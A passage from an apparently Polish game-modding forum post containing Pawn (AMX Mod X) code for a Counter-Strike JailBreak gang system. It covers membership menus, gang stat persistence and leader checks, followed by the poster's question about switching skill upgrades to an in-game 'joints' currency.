ShowTransferMenu( id ); return PLUGIN_HANDLED; } set_user_gang( iPlayer, -1 ); Cmd_Gang( id ); new iPlayers[ 32 ], iNum, iTemp; get_players( iPlayers, iNum ); for( new i = 0; i < iNum; i++ ) { iTemp = iPlayers[ i ]; if( iTemp == iPlayer || g_iGang[ iTemp ] != g_iGang[ id ] ) continue; ColorChat( iTemp, YELLOW, "%s ^03%s^01 zostal usuniety z gangu.", g_szPrefix, szName ); } ColorChat( iPlayer, YELLOW, "%s zostales wyrzucony z gangu.", g_szPrefix, szName ); return PLUGIN_HANDLED; } public ShowMembersMenu( id ) { new szName[ 64 ], iPlayers[ 32 ], iNum; get_players( iPlayers, iNum ); new hMenu = menu_create( "Online Members:", "MemberMenu_Handler" ); for( new i = 0, iPlayer; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( g_iGang[ id ] != g_iGang[ iPlayer ] ) continue; get_user_name( iPlayer, szName, charsmax( szName ) ); if( isLeader( iPlayer, g_iGang[ id ] ) ) { add( szName, charsmax( szName ), " \r[Leader]" ); } menu_additem( hMenu, szName ); } menu_display( id, hMenu, 0 ); } public MemberMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) { menu_destroy( hMenu ); Cmd_Gang( id ); return PLUGIN_HANDLED; } menu_destroy( hMenu ); ShowMembersMenu( id ) return PLUGIN_HANDLED; } // Credits to Tirant from zombie mod and xOR from xRedirect public LoadGangs() { new szConfigsDir[ 60 ]; get_configsdir( szConfigsDir, charsmax( szConfigsDir ) ); add( szConfigsDir, charsmax( szConfigsDir ), "/jb_gangs.ini" ); new iFile = fopen( szConfigsDir, "rt" ); new aData[ GangInfo ]; new szBuffer[ 512 ], szData[ 6 ], szValue[ 6 ], i, iCurGang; while( !feof( iFile ) ) { fgets( iFile, szBuffer, charsmax( szBuffer ) ); trim( szBuffer ); remove_quotes( szBuffer ); if( !szBuffer[ 0 ] || szBuffer[ 0 ] == ';' ) { continue; } if( szBuffer[ 0 ] == '[' && szBuffer[ strlen( szBuffer ) - 1 ] == ']' ) { copy( aData[ GangName ], strlen( szBuffer ) - 2, szBuffer[ 1 ] ); aData[ GangHP ] = 0; aData[ GangStealing ] = 0; aData[ GangGravity ] = 0; aData[ GangStamina ] = 0; aData[ GangWeaponDrop ] = 0; aData[ GangDamage ] = 0; aData[ GangKills ] = 0; aData[ GangMembers ] = _:TrieCreate(); if( TrieKeyExists( g_tGangNames, aData[ GangName ] ) ) { new szError[ 256 ]; formatex( szError, charsmax( szError ), "[JB Gangs] Gang already exists: %s", aData[ GangName ] ); set_fail_state( szError ); } ArrayPushArray( g_aGangs, aData ); TrieSetCell( g_tGangNames, aData[ GangName ], iCurGang ); log_amx( "Gang Created: %s", aData[ GangName ] ); iCurGang++; continue; } strtok( szBuffer, szData, 31, szValue, 511, '=' ); trim( szData ); trim( szValue ); if( TrieGetCell( g_tGangValues, szData, i ) ) { ArrayGetArray( g_aGangs, iCurGang - 1, aData ); switch( i ) { case VALUE_HP: aData[ GangHP ] = str_to_num( szValue ); case VALUE_STEALING: aData[ GangStealing ] = str_to_num( szValue ); case VALUE_GRAVITY: aData[ GangGravity ] = str_to_num( szValue ); case VALUE_STAMINA: aData[ GangStamina ] = str_to_num( szValue ); case VALUE_WEAPONDROP: aData[ GangWeaponDrop ] = str_to_num( szValue ); case VALUE_DAMAGE: aData[ GangDamage ] = str_to_num( szValue ); case VALUE_KILLS: aData[ GangKills ] = str_to_num( szValue ); } ArraySetArray( g_aGangs, iCurGang - 1, aData ); } } new Array:aSQL; sqlv_read_all_ex( g_hVault, aSQL ); new aVaultData[ SQLVaultEntryEx ]; new iGang; for( i = 0; i < ArraySize( aSQL ); i++ ) { ArrayGetArray( aSQL, i, aVaultData ); if( TrieGetCell( g_tGangNames, aVaultData[ SQLVEx_Key2 ], iGang ) ) { ArrayGetArray( g_aGangs, iGang, aData ); TrieSetCell( aData[ GangMembers ], aVaultData[ SQLVEx_Key1 ], str_to_num( aVaultData[ SQLVEx_Data ] ) ); ArraySetArray( g_aGangs, iGang, aData ); } } fclose( iFile ); } public SaveGangs() { new szConfigsDir[ 64 ]; get_configsdir( szConfigsDir, charsmax( szConfigsDir ) ); add( szConfigsDir, charsmax( szConfigsDir ), "/jb_gangs.ini" ); if( file_exists( szConfigsDir ) ) delete_file( szConfigsDir ); new iFile = fopen( szConfigsDir, "wt" ); new aData[ GangInfo ]; new szBuffer[ 256 ]; for( new i = 0; i < ArraySize( g_aGangs ); i++ ) { ArrayGetArray( g_aGangs, i, aData ); formatex( szBuffer, charsmax( szBuffer ), "[%s]^n", aData[ GangName ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "HP=%i^n", aData[ GangHP ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "Stealing=%i^n", aData[ GangStealing ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "Gravity=%i^n", aData[ GangGravity ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "Stamina=%i^n", aData[ GangStamina ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "WeaponDrop=%i^n", aData[ GangWeaponDrop ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "Damage=%i^n", aData[ GangDamage ] ); fputs( iFile, szBuffer ); formatex( szBuffer, charsmax( szBuffer ), "Kills=%i^n^n", aData[ GangKills ] ); fputs( iFile, szBuffer ); } fclose( iFile ); } set_user_gang( id, iGang, bool:bLeader=false ) { new szAuthID[ 35 ]; get_user_authid( id, szAuthID, charsmax( szAuthID ) ); new aData[ GangInfo ]; if( g_iGang[ id ] > -1 ) { ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); TrieDeleteKey( aData[ GangMembers ], szAuthID ); ArraySetArray( g_aGangs, g_iGang[ id ], aData ); sqlv_remove_ex( g_hVault, szAuthID, aData[ GangName ] ); } if( iGang > -1 ) { ArrayGetArray( g_aGangs, iGang, aData ); TrieSetCell( aData[ GangMembers ], szAuthID, _:bLeader + 1 ); ArraySetArray( g_aGangs, iGang, aData ); sqlv_set_num_ex( g_hVault, szAuthID, aData[ GangName ], _:bLeader + 1 ); } g_iGang[ id ] = iGang; return 1; } get_user_gang( id ) { new szAuthID[ 35 ]; get_user_authid( id, szAuthID, charsmax( szAuthID ) ); new aData[ GangInfo ]; for( new i = 0; i < ArraySize( g_aGangs ); i++ ) { ArrayGetArray( g_aGangs, i, aData ); if( TrieKeyExists( aData[ GangMembers ], szAuthID ) ) return i; } return -1; } bool:isLeader( id, iGang ) { if( !is_user_connected( id ) || iGang == -1 ) return false; new aData[ GangInfo ]; ArrayGetArray( g_aGangs, iGang, aData ); new szAuthID[ 35 ]; get_user_authid( id, szAuthID, charsmax( szAuthID ) ); new iStatus; TrieGetCell( aData[ GangMembers ], szAuthID, iStatus ); return iStatus == 2; }
Problem jest w tym iż nie mogę przerobić " umiejętności " które się ulepsza za kase na jointy
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